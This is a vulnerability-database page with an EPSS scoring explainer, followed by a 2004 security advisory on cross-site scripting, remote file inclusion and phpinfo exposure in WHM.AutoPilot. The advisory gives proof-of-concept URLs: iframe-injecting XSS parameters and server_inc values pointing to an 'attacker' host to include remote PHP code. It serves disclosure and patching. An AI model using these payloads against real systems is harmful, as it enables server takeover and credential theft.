EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

WHM.AutoPilot Multiple Vulnerabilities Vendor: Benchmark Designs, LLC Product: WHM.AutoPilot Version: <= 2.4.6.5 Website: http://www.whmautopilot.com/ BID: 12119 CVE: CVE-2004-1420 CVE-2004-1421 CVE-2004-1422 OSVDB: 12693 12694 12695 12696 12697 SECUNIA: 13673 PACKETSTORM: 35559 Description: Started by a webhost looking for more out of a simple managment script, Brandee Diggs (Owner of Spinn A Web Cafe, Founder of Benchmark Designs) setout to build an internal management system that could handle the day to day operations of a normal hosting company. The key was to remove the need to constantly watch your orders and manage the installs. Alas, WHM AutoPilot was born. [ as quoted from their official website ] Cross Site Scripting: There are a significant number of cross site scripting issues in WHM AutoPilot. Most of these are caused by calling scripts directly and specifying certain variable values yourself. Below are a few examples, though there are many more XSS holes than just the examples I am showing below. http://path/inc/header.php?site_title=%3C/title%3E%3Ciframe%3E http://path/admin/themes/blue/header.php?http_images='%3E%3Ciframe%3E I believe that every file in the /themes/blue/ directory can be manipulated in this way, and of course this can be used to steal a users credentials or render hostile code. File Include Vulnerability: WHM AutoPilot is susceptible to several potentially very dangerous file include vulns. Below are several examples of how files can be included and possibly executed remotely. http://path/inc/header.php/step_one.php?server_inc=http://attacker/step_one_tables.php http://path/inc/step_one_tables.php?server_inc=http://attacker/js_functions.php http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php This can be used to include php scripts and possibly take control of the webserver and more. A user does not have to be logged in to exploit this vulnerability either so that just makes it even more dangerous. Now for something weird: See the first example I gave above? Notice the "header.php/step_one.php"? Well, that was done to get around a piece of code that looked something like this. I am not going to include the actual code since this is proprietary software, but this should definitely give you the idea of what happened. if (ereg("test.php", $PHP_SELF)==true) { include $server_inc."/step_one_tables.php"; } This works because $PHP_SELF will return the value of "header.php/step_ one.php" expectedly. The below excerpt was taken from the php manual. "PHP_SELF The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar would be /test.php/foo.bar. The __FILE__ constant contains the full path and filename of the current (i.e. included) file." I see a lot of developers use this variable without giving much though to how it can be taken advantage of. I have even found it can cause be used to conduct cross site scripting attacks when the phpinfo() function is called. Information Disclosure: By default WHM AutoPilot is shipped with a phpinfo() script that is accessible to anyone. As far as I know WHM AutoPilot needs register globals to work, but if you want to check php settings anyway the file can be found in the root directory as "phpinfo.php" Solution: I have contacted the developers, and a new version of WHM Autopilot is available.
